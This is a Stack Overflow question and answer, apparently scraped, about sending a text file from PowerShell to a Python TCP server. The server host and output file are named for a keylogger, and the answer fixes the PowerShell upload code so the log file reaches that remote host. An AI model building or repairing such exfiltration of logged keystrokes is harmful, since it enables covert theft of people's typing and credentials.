【问题标题】:How to send string over powershell to a python server?如何通过powershell将字符串发送到python服务器?
【发布时间】:2021-11-20 21:02:11
【问题描述】:

我正在尝试将字符串从 powershell 发送到在其他设备上运行的 python 服务器。但是我总是收到管道损坏错误,我不知道该怎么办。

这是我的服务器:它侦听连接、接收消息并将这些消息添加到 txt 文件中。

import socket
import threading

HEADER = 64
PORT = 1337
SERVER = 'keyloggerdaniel.ddns.net'
ADDR = (SERVER, PORT)
FORMAT = 'utf-8'
DISCONNECT_MESSAGE = "!DISCONNECT"

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(ADDR)
server.listen(5)

def handle_client(conn, addr):
    print(f"[NEW CONNECTION] {addr} connected.")
    filename = "keyloggs_received1.txt"
    file = open(filename, 'wb')
    connected = True
    while connected:
        msg_length = conn.recv(HEADER)
        if msg_length:
            msg_length = int(msg_length)
            msg = conn.recv(msg_length)
            #file_data = conn.recv(1024)
            file.write(msg)
            file.close()
        conn.send("Msg received".encode(FORMAT))
    print("File has been received successfully.")
    conn.close()

def start():
    server.listen()
    print(f"[LISTENING] Server is listening on {SERVER}")
    while True:
        conn, addr = server.accept()
        thread = threading.Thread(target=handle_client, args=(conn, addr))
        thread.start()
        print(f"[ACTIVE CONNECTIONS] {threading.activeCount() - 1}")

print("[STARTING] server is starting...")
start()

这是我的 powershell 代码:我在这台电脑上有字符串,想将它发送到服务器:

$file = "C:\Users\Daniel Maderner\log.txt"
$file_Content =Get-Content $file
$socket = New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337);
$stream = $socket.GetStream();
$writer = new-object System.IO.StreamWriter($stream);
$buffer = new-object System.Byte[] 1024;
$writer.WriteLine($file_Content);
$socket.close()

【问题讨论】:

  • 您的 python 服务器中的接收循环(在handle_client)是错误的、有问题的、不正确的。要了解原因,请阅读this answer

标签: python powershell sockets server tcp


【解决方案1】:

我不知道这是否能解决所有问题,但请尝试以下 PowerShell 代码:

$socket = $stream = $null
$file = "C:\Users\Daniel Maderner\log.txt"
try {
  # Read the file as a *single, multi-line string*, with -Raw
  $file_Content = Get-Content -Raw $file
  $socket = New-Object net.sockets.tcpclient keyloggerdaniel.ddns.net, 1337
  $stream = $socket.GetStream()
  $writer = New-Object System.IO.StreamWriter $stream
  # Use .Write(), not .WriteLine() to write the file content as-is
  # to the stream.
  $writer.Write($file_Content)
}
catch { throw }
finally { if ($writer) { $writer.close() }; if ($socket) { $socket.close() } }

Python 方面,conn.send("Msg received".encode(FORMAT)) 正在尝试将数据 back 发送给发送者,这会中断,因为此时您的 PowerShell 代码已经关闭了套接字 -你可以选择在你的 Python 代码中忽略这个错误。


至于你尝试了什么

  • Get-Content 没有-Raw 开关返回一个array 行,而System.IO.StreamWriter.WriteLine() 需要一个单个字符串

    • 如果您不小心传递了一个字符串数组,PowerShell 会毫无帮助地调用数组上的.ToString() 方法,这会导致逐字字符串System.Object[](尝试('foo', 'bar').ToString()

    • 因此,使用-Raw 以将整个文件内容作为单个(通常)多行字符串读取,然后您可以使用.Write() 将其写入流中(否需要.WriteLine(),因为这会附加一个额外的换行符)。

  • 您的代码使用带有New-Object伪方法语法,例如
    New-Object net.sockets.tcpclient('keyloggerdaniel.ddns.net',1337)

    • 改为使用参数模式语法,例如,
      New-Object net.sockets.tcpclient keyloggerdaniel.ddns.net, 1337

    • PowerShell cmdlet、脚本和函数的调用方式类似于 shell 命令,而不是 方法。也就是说,参数列表周围没有括号,并且以 空格 分隔的参数(, 根据需要将 array 构造为 单个参数 , 对于(位置隐含的)-ArgumentList 参数)。见this answer

    • 或者,如果您切换到 PowerShell v5+ 中类型文字上可用的静态 ::new() 方法,您可以使用方法语法:

      [net.sockets.tcpclient]::new('keyloggerdaniel.ddns.net',1337)
      
  • 最后,请注意; 仅在单独 PowerShell 语句放在单行 时才需要;您永远不需要显式终止给定的语句。

【讨论】:

    猜你喜欢
    • 1970-01-01
    • 2015-10-20
    • 2014-04-25
    • 2013-12-06
    • 1970-01-01
    • 1970-01-01
    • 2014-04-27
    • 1970-01-01
    • 2014-07-19
    相关资源
    最近更新 更多